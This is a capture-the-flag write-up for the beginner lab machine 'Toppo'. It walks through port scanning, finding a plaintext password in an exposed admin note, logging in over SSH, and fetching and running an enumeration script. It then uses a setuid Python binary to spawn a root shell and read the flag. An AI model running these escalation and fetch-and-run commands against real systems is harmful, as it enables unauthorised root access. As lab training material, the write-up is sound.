CTF Toppo
CTF Linux
Created At : 2022-01-22 17:54
Count:663 Views 👀 :2174
Description
The Machine isn't hard to own and don't require advanced exploitation .
Level : Beginner
DHCP : activated
Inside the zip you will find a vmdk file , and I think you will be able to use it with any usual virtualization software ( tested with Virtualbox) .
If you have any question : my twitter is @h4d3sw0rm
Happy Hacking !
Netdiscover
192.168.0.43
nmap
➜ ~ nmap -sV -p- 192.168.0.43
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-22 10:58 CET
Nmap scan report for 192.168.0.43
Host is up (0.011s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
56317/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.26 seconds
22, 80, 111, 56317
Port 80
Nikto
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
In the admin
directory we have one file, notes.txt:
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
Password: 12345ted123
Port 22
ssh with the password ssh ted@192.168.0.43
.
ssh ted@192.168.0.43
I’m in
lse.sh
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh
And this is what I found interesting:
Hostname: Toppo
Linux: 3.16.0-4-586
Distribution: Debian GNU/Linux 8.10 (jessie)
Architecture: i686
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/bin/python2.7
/usr/bin/mawk
---
[!] fst030 Can we write to any setuid binary?.............................. yes!
---
/usr/bin/python2.7
---
That’s all.
Let’s see what we can do with python.
gtfobin
https://gtfobins.github.io/gtfobins/python/
ted@Toppo:/home$ python
Python 2.7.9 (default, Aug 13 2016, 16:41:35)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os; os.system("/bin/sh")
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
# whoami
root
flag.txt
cat /root/flag.txt
_________
| _ _ |
|_/ | | \_|.--. _ .--. _ .--. .--.
| | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
_| |_ | \__. | | \__/ | | \__/ || \__. |
|_____| '.__.' | ;.__/ | ;.__/ '.__.'
[__| [__|
Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}
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